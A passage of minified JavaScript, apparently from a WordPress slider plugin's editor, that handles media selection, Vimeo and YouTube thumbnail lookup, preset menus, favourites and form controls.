RSClipboard(".copyclipboard");t.on("success",function(e){tpGS.gsap.fromTo(jQuery(e.trigger),.4,{autoAlpha:0},{autoAlpha:1,ease:"power3.inOut"})}),t.on("error",function(e){(e=jQuery(e.trigger)).addClass("errorcopy"),setTimeout(function(){e.removeClass("errorcopy")},400)})}jQuery(".inputDatePicker").length>0&&jQuery(".inputDatePicker").datepicker({dateFormat:"dd-mm-yy 00:00"}),RVS.DOC.on("keydown",".valueduekeyboard",function(e,t){var i=e.keyCode?e.keyCode:e.which,a=null!=e.currentTarget.dataset.steps?parseFloat(e.currentTarget.dataset.steps):1,r=null!=e.currentTarget.dataset.min?e.currentTarget.dataset.min:-99999,o=null!=e.currentTarget.dataset.max?e.currentTarget.dataset.max:99999,s=parseFloat(e.currentTarget.value)||0;switch(e.shiftKey&&(a*=10),i){case 38:e.currentTarget.value=Math.min(s+a,o),e.currentTarget.value!==Math.round(e.currentTarget.value)&&(e.currentTarget.value=Math.round(100*e.currentTarget.value)/100);break;case 40:e.currentTarget.value=Math.max(s-a,r),e.currentTarget.value!==Math.round(e.currentTarget.value)&&(e.currentTarget.value=Math.round(100*e.currentTarget.value)/100)}38!==i&&40!==i||jQuery(e.currentTarget).trigger("change")}),RVS.DOC.on("keyup",".losefocusonenter",function(e,t){13===e.keyCode&&jQuery(document.activeElement).blur()}),RVS.DOC.on("keyup","input, textarea",function(e,t){13===e.keyCode&&(RVS.S.inFocusValue=this.value)}),RVS.DOC.on("keyup keydown",function(e,t){"9"==e.keyCode&&jQuery("#builderView").scrollTop(0)}),RVS.DOC.on("click","#timline_process",function(){RVS.F.toggleTimeLine()}),RVS.DOC.on("keydown",function(e,t){if("27"==e.keyCode&&(void 0!==RVS.S.inFocus&&"none"!==RVS.S.inFocus&&RVS.S.inFocus.value!==RVS.S.inFocusValue&&(RVS.S.inFocus.value=RVS.S.inFocusValue,void 0!==RVS.S.inFocus.dataset.evt&&RVS.DOC.trigger(RVS.S.inFocus.dataset.evt,{val:RVS.S.inFocusValue,eventparam:RVS.S.inFocus.dataset.evtparam})),void 0!==RVS.S.inFocus&&"none"!==RVS.S.inFocus&&jQuery(RVS.S.inFocus).trigger("blur")),!0!==RVS.S.ovMode&&"32"==e.keyCode&&("none"===RVS.S.inFocus||void 0===RVS.S.inFocus))return RVS.F.toggleTimeLine(),!1}),RVS.DOC.on("click",".resettodefault",function(){var e=jQuery(this),t=e.data(),i=jQuery(t.target);void 0!==t.r?e.hasClass("layerinput")?(RVS.F.updateLayerObj({path:t.r,val:t.default,evt:t.evt,evtparam:t.evtparam}),void 0!==t.lib&&RVS.F.updateLayerObj({path:t.lib,val:""})):(RVS.F.updateSliderObj({path:t.r,val:t.default,evt:t.evt,evtparam:t.evtparam}),void 0!==t.lib&&RVS.F.updateSliderObj({path:t.lib,val:""})):(void 0!==i&&(i.val(t.default),i.trigger("change")),void 0!==t.evt&&RVS.DOC.trigger(t.evt,t.evtparam))}),RVS.DOC.on("getNewImageSize",function(e,t){if(void 0!==t){var i=t.split(".");if("slidebg"!==i[0]&&"slider"!==i[0]&&RVS.selLayers.length<=0)return;var a="slidebg"===i[0]?{r:"#slide#.slide.bg.image",rid:"#slide#.slide.bg.imageId",lib:"#slide#.slide.bg.imageLib",targetType:"slide",evt:"updateslidebasic",size:RVS.SLIDER[RVS.S.slideId].slide.bg.imageSourceType,url:RVS.SLIDER[RVS.S.slideId].slide.bg.image,id:RVS.SLIDER[RVS.S.slideId].slide.bg.imageId}:"slider"===i[0]?{r:"settings.layout.bg.image",rid:"settings.layout.bg.imageId",lib:"settings.layout.bg.imageLib",targetType:"slide",evt:"sliderBGUpdate",size:RVS.SLIDER.settings.layout.bg.imageSourceType,url:RVS.SLIDER.settings.layout.bg.image,id:RVS.SLIDER.settings.layout.bg.imageId}:{lib:"media.imageLib",targetType:"layer",evt:"updatelayerimagesrc",size:RVS.L[RVS.selLayers[0]].behavior.imageSourceType};switch(i[0]){case"slider":break;case"slidebg":a.evtparam="object"===i[1]?"double":"kenburnupdate";break;case"image":case"poster":a.rid="media."+i[0]+"Id",a.r="media."+i[0]+"Url",a.url=RVS.L[RVS.selLayers[0]].media[i[0]+"Url"],a.id=RVS.L[RVS.selLayers[0]].media[i[0]+"Id"];break;case"bg":a.rid="idle.backgroundImageId",a.r="idle.backgroundImage",a.lib="idle.bgimagelib",a.evt="updatelayerbgimage",a.url=RVS.L[RVS.selLayers[0]].idle.backgroundImage,a.id=RVS.L[RVS.selLayers[0]].idle.backgroundImageId}switch(i[1]){case"media":RVS.F.getMediaWithNewSize(a);break;case"object":RVS.F.getObjectWithNewSize(a)}}}),RVS.DOC.on("click",".removePosterImage",function(){var e=jQuery(this),t=e.data(),i=jQuery(t.target);"true"===this.dataset.multiple||this.dataset.multiple;void 0!==t.r?e.hasClass("layerinput")?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),void 0!==t.rid&&RVS.F.updateLayerObj({path:t.rid,val:""}),void 0!==t.lib&&RVS.F.updateLayerObj({path:t.lib,val:"nothing"}),RVS.F.updateLayerObj({path:t.r,val:"",evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(RVS.F.openBackupGroup({id:"UpdateSlideImage",txt:"Update Slide Image",icon:"photo"}),void 0!==t.rid&&RVS.F.updateSliderObj({path:t.rid,val:""}),void 0!==t.lib&&RVS.F.updateSliderObj({path:t.lib,val:"nothing"}),RVS.F.updateSliderObj({path:t.r,val:"",evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"UpdateSlideImage"}),RVS.F.updateEasyInputs({container:jQuery("#form_slidebg_source"),path:RVS.S.slideId+".slide.",trigger:"init"})):(void 0!==i&&(i.val(""),i.trigger("change")),t.evtparam=void 0===t.evtparam?{}:t.evtparam,t.evtparam.urlImage="",void 0!==t.evt&&RVS.DOC.trigger(t.evt,t.evtparam))}),RVS.DOC.on("click",".getVideoFromMediaLibrary",function(){var e=jQuery(this).data(),t=jQuery(e.target),i=this.className.indexOf("layerinput")>=0;RVS.F.openAddVideoDialog(RVS_LANG.choose_video,function(a,r){void 0!==e.r?(RVS.F.openBackupGroup({id:"updateVideo",txt:"Update Video from Media Library",icon:"videocam"}),void 0!==e.rid&&RVS.F.updateSliderObj({path:e.rid,val:r}),RVS.F.updateSliderObj({path:e.r,val:a,evt:e.evt,evtparam:e.evtparam}),RVS.F.closeBackupGroup({id:"updateVideo"})):(void 0!==t&&(t.val(a),RVS.F.openBackupGroup({id:"updateVideo",txt:"Update Video from Media Library",icon:"videocam"}),t.trigger("change"),void 0===e.rid||i||RVS.F.updateSliderObj({path:e.rid,val:r}),RVS.selLayers.length>0&&i&&(RVS.F.updateLayerObj({path:"media.mediaType",val:void 0!==e.mediatype?e.mediatype:"html5"}),void 0!==e.rid&&i&&RVS.F.updateLayerObj({path:e.rid,val:r}),RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})),RVS.F.closeBackupGroup({id:"updateVideo"})),void 0!==e.evt&&RVS.DOC.trigger(e.evt,e.evtparam))})}),RVS.DOC.on("click",".getVideoFromObjectLibrary",function(){var e=jQuery(this),t=e.data();t.targetType=e.hasClass("layerinput")?"layer":e.hasClass("sliderinput")?"slider":"slide",RVS.F.openObjectLibrary({types:["videos"],filter:"all",selected:["videos"],data:t,success:{video:"updateVideoSrcFromLibrary"}})}),RVS.DOC.on("updateVideoSrcFromLibrary",function(e,t){void 0!==t.r?"layer"===t.targetType?(RVS.F.openBackupGroup({id:"videofromobjlibrary",txt:"Video from OBJ Library",icon:"videocam",lastkey:"mp4Url"}),RVS.F.updateLayerObj({path:"media.imageLib",val:"objectlibrary"}),RVS.F.updateLayerObj({path:"media.mediaType",val:"html5"}),RVS.F.updateLayerObj({path:"media.posterUrl",val:t.img}),RVS.F.updateLayerObj({path:"media.mp4Url",val:t.video,evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"videofromobjlibrary"}),RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})):"slide"===t.targetType?(RVS.F.openBackupGroup({id:"videofromobjlibrary",txt:"Video from OBJ Library",icon:"videocam",lastkey:"mp4Url"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.bg.image",val:t.img}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.bg.imageId",val:void 0}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.bg.imageLib",val:"objectlibrary"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.bg.mpeg",val:t.video,evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"videofromobjlibrary"}),RVS.F.updateEasyInputs({container:jQuery(".slide_settings_collector"),path:RVS.S.slideId+".slide.",trigger:"init"})):(RVS.F.openBackupGroup({id:"videofromobjlibrary",txt:"Video from OBJ Library",icon:"videocam",lastkey:"mp4Url"}),RVS.F.updateSliderObj({path:"settings."+t.r+".image",val:t.img}),RVS.F.updateSliderObj({path:"settings."+t.r+".imageId",val:void 0}),RVS.F.updateSliderObj({path:"settings."+t.r+".imageLib",val:"objectlibrary"}),RVS.F.updateSliderObj({path:"settings."+t.r+".mpeg",val:t.video,evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"videofromobjlibrary"}),RVS.F.updateEasyInputs({container:jQuery(".slide_settings_collector"),trigger:"init"})):(void 0!==t.target&&(t.target.val(t.img),t.target.trigger("change")),void 0!==t.evt&&RVS.DOC.trigger(t.evt,t.evtparam))}),RVS.DOC.on("click",".getImageFromMediaLibrary",function(){var e=jQuery(this),t=e.data(),i="true"===this.dataset.multiple||1==this.dataset.multiple;t.targetType=e.hasClass("layerinput")?"layer":"slide",RVS.F.openAddImageDialog(RVS_LANG.choose_image,function(e,i){RVS.F.updateImageSrcFromMedia(t,e,i)},i)}),RVS.F.getMediaWithNewSize=function(e){jQuery(e.target);RVS.F.ajaxRequest("load_wordpress_image",{type:e.size,id:e.id},function(t){RVS.F.updateImageSrcFromMedia(e,t.url,e.id)},!1)},RVS.F.updateImageSrcFromMedia=function(e,t,i){if(void 0!==e.r)t=t.split(" ").join("%20"),"layer"===e.targetType?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),void 0!==e.lib&&RVS.F.updateLayerObj({path:e.lib,val:"medialibrary"}),void 0!==e.rid&&RVS.F.updateLayerObj({path:e.rid,val:i}),void 0!==e.sty&&RVS.F.updateLayerObj({path:e.sty,val:"full"}),RVS.F.updateLayerObj({path:e.r,val:t,evt:e.evt,evtparam:e.evtparam}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(RVS.F.openBackupGroup({id:"UpdateSlideImage",txt:"Update Slide Image",icon:"photo"}),void 0!==e.lib&&RVS.F.updateSliderObj({path:e.lib,val:"medialibrary"}),void 0!==e.rid&&RVS.F.updateSliderObj({path:e.rid,val:i}),void 0!==e.sty&&RVS.F.updateSliderObj({path:e.sty,val:"full"}),RVS.F.updateSliderObj({path:e.r,val:t,evt:e.evt,evtparam:e.evtparam}),RVS.F.closeBackupGroup({id:"UpdateSlideImage"}),RVS.F.updateEasyInputs({container:jQuery("#form_slidebg_source"),path:RVS.S.slideId+".slide.",trigger:"init"}));else{if(void 0!==e.target&&""!==e.target){var a=jQuery(e.target);a.val(t),a.trigger("change")}e.evtparam=void 0===e.evtparam?{}:e.evtparam,e.evtparam.urlImage=t,void 0!==e.evt&&RVS.DOC.trigger(e.evt,e.evtparam)}},RVS.F.getObjectWithNewSize=function(e){RVS.F.ajaxRequest("load_library_object",{type:e.size,id:e.url},function(t){t.success&&(e.img=t.url,RVS.DOC.trigger("updateImageSrcFromLibrary",e))})},RVS.DOC.on("click",".getImageFromObjectLibrary",function(){var e=jQuery(this),t=e.data();t.targetType=e.hasClass("layerinput")?"layer":"slide",RVS.F.openObjectLibrary({types:["images","objects"],filter:"all",selected:["images"],data:t,success:{image:"updateImageSrcFromLibrary"}})}),RVS.DOC.on("updateImageSrcFromLibrary",function(e,t){void 0!==t.r?"layer"===t.targetType?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),void 0!==t.sty&&RVS.F.updateLayerObj({path:t.sty,val:t.size}),void 0!==t.rid&&RVS.F.updateLayerObj({path:t.rid,val:"objectlibrary"}),void 0!==t.lib&&RVS.F.updateLayerObj({path:t.lib,val:"objectlibrary"}),RVS.F.updateLayerObj({path:t.r,val:t.img,evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(RVS.F.openBackupGroup({id:"UpdateSlideImage",txt:"Update Slide(r) Image",icon:"photo"}),void 0!==t.rid&&RVS.F.updateSliderObj({path:t.rid,val:"objectlibrary"}),void 0!==t.sty&&RVS.F.updateSliderObj({path:t.sty,val:t.size}),void 0!==t.lib&&RVS.F.updateSliderObj({path:t.lib,val:"objectlibrary"}),RVS.F.updateSliderObj({path:t.r,val:t.img,evt:t.evt,evtparam:t.evtparam}),RVS.F.closeBackupGroup({id:"UpdateSlideImage"}),RVS.F.updateEasyInputs({container:jQuery("#form_slidebg_source"),path:RVS.S.slideId+".slide.",trigger:"init"})):(void 0!==t.target&&(t.target.val(t.img),t.target.trigger("change")),void 0!==t.evt&&RVS.DOC.trigger(t.evt,t.evtparam))}),RVS.DOC.on("click",".getImageFromStream",function(){var e=this.dataset;e.targetType=this.className.indexOf("layerinput")>=0?"layer":"slide",void 0!==e.r?"layer"===e.targetType?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),RVS.F.updateLayerObj({path:"media.imageLib",val:"stream"}),RVS.F.updateLayerObj({path:e.rid,val:"stream"}),RVS.F.updateLayerObj({path:e.r,val:RVS.ENV.img_ph_url,evt:e.evt,evtparam:e.evtparam}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(RVS.F.openBackupGroup({id:"UpdateSlideImage",txt:"Update Slide Image",icon:"photo"}),RVS.F.updateSliderObj({path:e.rid,val:"stream"}),RVS.F.updateSliderObj({path:e.r,val:RVS.ENV.img_ph_url,evt:e.evt,evtparam:e.evtparam}),RVS.F.closeBackupGroup({id:"UpdateSlideImage"})):(void 0!==e.target&&(e.target.val("stream"),e.target.trigger("change")),void 0!==e.evt&&RVS.DOC.trigger(e.evt,e.evtparam))}),RVS.DOC.on("click",".getImageFromVimeo",function(){var e=jQuery(this).data(),t=jQuery(e.target),i=RVS.F.getDeepVal({path:e.f}),a=location.protocol+"//vimeo.com/api/v2/video/"+i+".json";jQuery.ajax({type:"GET",url:a,success:function(i){void 0!==e.r?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),RVS.F.updateSliderObj({path:e.r,val:i[0].thumbnail_large,evt:e.evt,evtparam:e.evtparam}),void 0!==e.rid&&RVS.F.updateSliderObj({path:e.rid,val:"objectlibrary"}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(void 0!==t&&(t.val(i[0].thumbnail_large),t.trigger("change")),void 0!==e.evt&&RVS.DOC.trigger(e.evt,e.evtparam))}})}),RVS.DOC.on("click",".getImageFromYouTube",function(){var e=jQuery(this).data(),t=jQuery(e.target),i=RVS.F.getDeepVal({path:e.f}),a=location.protocol+"//img.youtube.com/vi/"+i+"/sddefault.jpg";void 0!==e.r?(RVS.F.openBackupGroup({id:"UpdateLayerImage",txt:"Update Layer Image",icon:"photo"}),RVS.F.updateSliderObj({path:e.r,val:a,evt:e.evt,evtparam:e.evtparam}),void 0!==e.rid&&RVS.F.updateSliderObj({path:e.rid,val:"objectlibrary"}),RVS.F.closeBackupGroup({id:"UpdateLayerImage"})):(void 0!==t&&(t.val(a),t.trigger("change")),void 0!==e.evt&&RVS.DOC.trigger(e.evt,e.evtparam))});var i=jQuery(document.body).on("click",".form_menu_level_1_li, .form_menu_level_2_li",function(){var e=jQuery(this),t=e.closest(".form_menu_inside");e.siblings("li").removeClass("selected"),e.addClass("selected"),e.hasClass("form_menu_level_1_li")||t.find(".form_level_2_inner").hide().removeClass("open");var i=jQuery(e.data("target"));i.show().addClass("open"),RVS.F.updateFormPositions({jf:RVS.F.closestClass(e[0],"formcontainer"),uncollapse:!0}),void 0!==i.data("evt")&&RVS.DOC.trigger(i.data("evt"),i.data("evtparam"))});i.on("click",".form_intoaccordion",function(){var e=jQuery(this),t=e.closest(".form_inner"),i=e.closest(".formcontainer");if(t.length>0&&t.hasClass("open")||0===t.length&&!i.hasClass("collapsed"))return function(e){e.closest(".form_inner").length>0?e.closest(".form_inner").removeClass("open"):e.closest(".formcontainer").addClass("collapsed"),RVS.DOC.trigger("scrollUpdates"),RVS.DOC.trigger("accordionaction")}(e),!1;!function(e){void 0!==e.data("trigger")&&jQuery(e.data("trigger")).trigger("click"),e.closest(".formcontainer").removeClass("collapsed"),RVS.DOC.trigger("scrollUpdates"),RVS.DOC.trigger("accordionaction")}(e)}),i.on("mouseenter",".form_intoaccordion",function(){this.parentNode.dataset.hovered="on"}),i.on("mouseleave",".form_intoaccordion",function(){this.parentNode.dataset.hovered="off"}),i.on("click",".triggerselect",function(){var e=jQuery(this).data(),t=jQuery(e.select);void 0!==t&&t.length>0&&t.val(e.val),t.trigger("change"),t.ddTP("change")}),i.on("click",".navaligntrigger",function(){var e=jQuery(this).data(),t=e.select.split(","),i=e.val.split(",");for(var a in RVS.F.openBackupGroup({id:"NavigationAlign",txt:e.type+" Align",icon:"navigation",lastkey:"navigation"}),RVS.F.ignoreEventsOpen(),t)if(t.hasOwnProperty(a)){var r=jQuery(t[a]);void 0!==r&&r.length>0&&(i.length>0?r.val(i[a]):r.val(i[0]),r.trigger("change"))}RVS.F.ignoreEventsClose(),RVS.F.closeBackupGroup({id:"NavigationAlign"}),RVS.DOC.trigger("sliderNavPositionUpdate",e.type)}),i.on("click",".progressbar_selector",function(){var e=jQuery(this).data(),t=e.select.split(","),i=e.val.split(",");for(var a in RVS.F.openBackupGroup({id:"progressbar_selector",txt:e.type+" Align",icon:"navigation",lastkey:"navigation"}),RVS.F.ignoreEventsOpen(),t)if(t.hasOwnProperty(a)){var r=jQuery(t[a]);void 0!==r&&r.length>0&&(i.length>0?r.val(i[a]):r.val(i[0]),r.trigger("change"))}RVS.F.ignoreEventsClose(),RVS.F.closeBackupGroup({id:"progressbar_selector"}),RVS.DOC.trigger("sliderProgressUpdate",e.type)}),RVS.DOC.on("click",".mdl_group_wrap_menuitem",function(){jQuery(".mdl_group_wrap_menuitem.selected, .mdl_group_wrap.selected").removeClass("selected"),jQuery(this).addClass("selected"),jQuery("#"+this.dataset.show).addClass("selected"),jQuery("#meta_rbm_content").scrollTop(0).RSScroll("update")}),RVS.C.toggledTextButton=document.getElementById("toggledtextbutton"),RVS.F.updateMetaTranslate();var a='
';for(var r in a+='
',a+='
photo'+RVS_LANG.featuredimages+'arrow_drop_down
',RVS.ENV.img_sizes)if(RVS.ENV.img_sizes.hasOwnProperty(r)){var o=RVS.ENV.img_sizes[r].replace(" ","_").toLowerCase();a+='
photo{{featured_image_url_'+o+'}}
'+o+'
http://featured.img
'}a+="
",a+="
",jQuery("#meta_datas_list").append(jQuery(a)),jQuery("#mdl_group_wrap_menu").append('
'+RVS_LANG.images+"
"),RVS.DOC.trigger("extendmetas"),RVS.DOC.on("click",".ssmbtn",function(){jQuery(this.dataset.inside).find(".ssmbtn.selected, .ssm_content.selected").removeClass("selected"),this.className+=" selected",void 0!==this.dataset.hidessm&&jQuery(this.dataset.hidessm+".selected").removeClass("selected"),jQuery(this.dataset.showssm).addClass("selected"),void 0!==this.dataset.evt&&RVS.DOC.trigger(this.dataset.evt,this.dataset.evtparam)}),RVS.DOC.on("click",".input_presets_dropdown",function(){jQuery(".input_presets_wrap.infocus").removeClass("infocus"),this.parentElement.className+=" infocus"}),RVS.DOC.on("blur","input",function(){RVS.S.respInfoBar.toolbar&&(RVS.S.respInfoBar.visible=!1,RVS.S.respInfoBar.toolbar[0].style.display="none")})},RVS.F.updateMetaTranslate=function(e){RVS.LIB.META={},jQuery(".mdl_group_member").each(function(){var e=this.dataset.val.split(":");e=e.length>1?e[0]+".*?}}":e[0],RVS.LIB.META[e]=jQuery(this).find(".mdl_placeholder_content").text()})},RVS.F.updatePostCategories=function(e){if(Array.isArray(e.postTypes)||(e.postTypes=e.postTypes.split(",")),!Array.isArray(e.postTypes)){var t=[];t.push(e.postTypes),e.postTypes=t}var i="";for(var a in e.postTypes)if(e.postTypes.hasOwnProperty(a)){var r=RVS.LIB.POST_TYPES_CAT[e.postTypes[a]];for(var o in r)r.hasOwnProperty(o)&&(i+="")}e.categories[0].innerHTML=i,RVS.F.setS2Option({select:e.categories,update:!0})},RVS.F.showFieldResponsiveValues=function(e){if(RVS.S.respInfoBar.field=void 0!==e?jQuery(e):RVS.S.respInfoBar.field,"slider"===RVS.eMode.top||1===RVS.selLayers.length&&void 0!==RVS.S.respInfoBar.field&&RVS.S.respInfoBar.visible){RVS.S.respInfoBar.toolbar||(RVS.S.respInfoBar.toolbar=jQuery('
'),jQuery("#the_right_toolbar").append(RVS.S.respInfoBar.toolbar));var t=0,i="";for(var a in i+=''+RVS_LANG.intinheriting+"",RVS.V.sizes)RVS.V.sizes.hasOwnProperty(a)&&RVS.V.sizes[a]!==RVS.screen&&RVS.SLIDER.settings.size.custom[RVS.V.sizes[a]]&&(i+='
',i+='',i+="d"==RVS.V.sizes[a]?"desktop_mac":"n"==RVS.V.sizes[a]?"laptop":"t"==RVS.V.sizes[a]?"tablet_android":"phone_iphone",i+="",i+=''+RVS.F.getDeepVal({path:"slider"===RVS.eMode.top?"settings."+RVS.S.respInfoBar.field[0].dataset.r:RVS.S.slideId+".layers."+RVS.selLayers[0]+"."+RVS.S.respInfoBar.field[0].dataset.r,screen:RVS.V.sizes[a]})+"",i+="
",t++);if(t>0){RVS.S.respInfoBar.toolbar[0].style.display="block",RVS.S.respInfoBar.toolbar[0].innerHTML=i;var r=RVS.S.respInfoBar.field.offset();RVS.S.respInfoBar.toolbar.width();tpGS.gsap.set(RVS.S.respInfoBar.toolbar,{top:r.top,left:-85})}else RVS.S.respInfoBar.visible=!1,RVS.S.respInfoBar.toolbar[0].style.display="none"}},RVS.F.initCopyClipboard=function(e){if(jQuery(e).length>0&&-1==jQuery.inArray(e,p)){(p=void 0===p?[]:p).push(e);var t=new RSClipboard(e);t.on("success",function(e){jQuery(":focus").blur(),RVS.F.showInfo({content:"Copied To Clipboard",type:"success",showdelay:0,hidedelay:1,hideon:"",event:""}),tpGS.gsap.fromTo(jQuery(e.trigger),.4,{autoAlpha:0},{autoAlpha:1,ease:"power3.inOut"})}),t.on("error",function(e){(e=jQuery(e.trigger)).addClass("errorcopy"),setTimeout(function(){e.removeClass("errorcopy")},400)})}},RVS.F.switchButtonInit=function(e){(e=void 0===e?{}:e).container=void 0===e.container?"#builderView":e.container,e.init=void 0===e.init||e.init,e.init&&jQuery(e.container).find(".switch_button").each(function(){var e=jQuery(this),t=this.dataset;e.hasClass("activeswitch")||(e.addClass("activeswitch"),RVS.F.changeSwitchState({el:this,state:t.start_state}),e.on("click",function(){RVS.F.changeSwitchState({el:this,callEvent:!0})}))})},RVS.F.changeSwitchState=function(e){if(null!==e.el){var t=e.el.dataset,i=jQuery(e.el),a=t.states.split(",");t.state=void 0!==e.state?e.state:t.state===a[0]?a[1]:a[0],i.find(".switch_button_state").html(t[t.state+"_state"]),i.find(".switch_button_icon").html(t[t.state+"_icon"]),void 0!==e.callEvent&&RVS.DOC.trigger(t[t.state])}},RVS.F.getPresetIcon=function(e){var t='';return e.replace("*",t).replace("*","").replace("*",t).replace("*","").replace("*",t).replace("*","")},RVS.F.isOnList=function(e,t){if(void 0===e)return!1;if(Array.isArray(e))return jQuery.inArray(t,e)>=0;if(void 0!==e[t])return!0;var i=!1;for(var a in e)e.hasOwnProperty(a)&&!1===i&&(i=e[a]===t||i);return i},RVS.F.showHidePresetFavorits=function(e,t){var i,a=RVS.S.allPresets[t];if(void 0!==a&&null!=e&&(Array.isArray(e)||"object"==typeof e)&&0!==e.length){var r={},o={};for(var s in a)if(a.hasOwnProperty(s)&&"object"==typeof a[s])for(var n in void 0===r[s]&&(r[s]={show:!1,id:a[s].id}),a[s])if(a[s].hasOwnProperty(n)&&"object"==typeof a[s][n])for(var d in void 0===o[s+"_"+n]&&(o[s+"_"+n]={show:!1,id:a[s][n].id}),a[s][n].groups)a[s][n].groups.hasOwnProperty(d)&&null!=(i=document.getElementById(a[s][n].groups[d].id))&&(RVS.F.isOnList(e,d)?(r[s].show=!0,o[s+"_"+n].show=!0,i.classList.add("prs_is_favorit")):i.classList.remove("prs_is_favorit"));for(var l in r)null!=(i=document.getElementById(r[l].id))&&(r[l].show?i.classList.add("prs_is_favorit"):i.classList.remove("prs_is_favorit"));for(var l in o)null!=(i=document.getElementById(o[l].id))&&(o[l].show?i.classList.add("prs_is_favorit"):i.classList.remove("prs_is_favorit"))}},RVS.F.createPresets=function(e){e.groupid=void 0===e.groupid?"preset_list_"+Math.round(1e5*Math.random()):e.groupid,e.groupclass=void 0===e.groupclass?"pres_list_group_"+Math.round(1e5*Math.random()):e.groupclass,e.maingrpclass=void 0===e.maingrpclass?"preslisinner_"+Math.round(1e5*Math.random()):e.maingrpclass,e.ref=void 0===e.ref?Math.round(1e5*Math.random()):e.ref,RVS.S.allPresets=void 0===RVS.S.allPresets?{}:RVS.S.allPresets,RVS.S.allPresets[e.maingrpclass]=void 0===RVS.S.allPresets[e.maingrpclass]?{}:RVS.S.allPresets[e.maingrpclass],RVS.S.allPresets[e.maingrpclass][e.ref]=void 0===RVS.S.allPresets[e.maingrpclass][e.ref]?{}:RVS.S.allPresets[e.maingrpclass][e.ref];var t='
',i="",a=void 0===e.prefix?"":e.prefix+"_";for(var r in RVS.S.allPresets[e.maingrpclass][e.ref].id=e.groupid,t+='\t
check'+(e.modern?''+e.icon+"":"")+''+e.title+'arrow_drop_down
',i+='\t
',e.groups)if(e.groups.hasOwnProperty(r)&&"grp_title"!=r&&"icon"!=r&&"noSubLevel"!==r&&"eclass"!==r){for(var o in RVS.S.allPresets[e.maingrpclass][e.ref][r]={id:e.groupid+"_"+r,class:e.groups[r].custom||"custom"===r?"custompresetgroup ":""},i+='
',i+='\t
'+e.groups[r].title+'
arrow_drop_down
',i+='\t
',"custom"===r&&(i+='
'+RVS_LANG.savecurrenttemplate+'
donecloseadd
'),e.groups[r].elements)e.groups[r].elements.hasOwnProperty(o)&&(RVS.S.allPresets[e.maingrpclass][e.ref][r].groups=void 0===RVS.S.allPresets[e.maingrpclass][e.ref][r].groups?{}:RVS.S.allPresets[e.maingrpclass][e.ref][r].groups,RVS.S.allPresets[e.maingrpclass][e.ref][r].groups[o]={id:e.groupid+"_"+r+"_"+o},i+="custom"===r?'
'+e.groups[r].elements[o].title+'
'+RVS_LANG.overwritetemplate+'
donecloseeditsavedelete
':'
'+RVS.F.getPresetIcon(e.groups[r].elements[o].title)+(void 0!==e.favoriteAjax?''+(RVS.F.isOnList(e.favoriteList,a+o)?"star":"star_outline")+"":"")+"
");i+="\t
",i+="
"}return i+="\t
",void 0===RVS.S.allPresets[e.maingrpclass].clickListener&&(RVS.S.allPresets[e.maingrpclass].clickListener=!0,RVS.DOC.on("click","."+e.maingrpclass+" .presets_listelement",function(){if("custom"===this.dataset.key){var t=jQuery(this);return this.dataset.mode="create",t.addClass("cla_showentername"),t.find("input").trigger("focus").trigger("select"),RVS.S.waitOnFeedback={allowed:["cla_entername","cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}this.className.indexOf("cla_showentername")>=0||e.onclick(this.dataset.key,this.dataset.custom,this.dataset.main,this.dataset.sub,this.dataset.rndgrp,this.dataset.rndmain)})),e.favoriteAjax&&void 0===RVS.S.allPresets[e.maingrpclass].favListener&&(RVS.S.allPresets[e.maingrpclass].favListener=!0,RVS.DOC.on("mouseenter","."+e.maingrpclass+" .presets_listelement",function(){this.offsetLeft<140?(this.classList.add("favleft"),this.classList.remove("favright")):(this.classList.add("favright"),this.classList.remove("favleft"))}),RVS.DOC.on("click","."+e.maingrpclass+" .preset_favorite",function(){var t=RVS.F.isOnList(e.favoriteList,this.dataset.key);if(this.innerHTML=t?"star_outline":"star",t){if(Array.isArray(e.favoriteList)){var i=jQuery.inArray(this.dataset.key,e.favoriteList);e.favoriteList.splice(i,1)}else{for(var a in e.favoriteList)e.favoriteList[a]==this.dataset.key&&(i=a);void 0!==i&&delete e.favoriteList[i]}RVS.F.showHidePresetFavorits(e.favoriteList,e.maingrpclass)}else Array.isArray(e.favoriteList)?e.favoriteList.push(this.dataset.key):e.favoriteList[this.dataset.key]=this.dataset.key;return RVS.F.ajaxRequest("set_favorite",{do:t?"remove":"add",type:e.favoriteAjax,id:this.dataset.key},function(e){e.success}),!1})),S||(RVS.DOC.on("click",".presets_liste_head",function(){var e=this.parentElement.className.indexOf("open")>=0,t=document.getElementById(this.dataset.igroup);void 0!==this.dataset.samegroups&&""!==this.dataset.samegroups&&jQuery("."+this.dataset.samegroups).removeClass("open"),void 0!==this.dataset.samemaingroups&&""!==this.dataset.samemaingroups&&jQuery("."+this.dataset.samemaingroups).removeClass("open"),e?(this.parentElement.classList.remove("open"),t.classList.remove("open")):(this.parentElement.classList.add("open"),t.classList.add("open"))}),RVS.DOC.on("click",".presetssgroup_head",function(){var 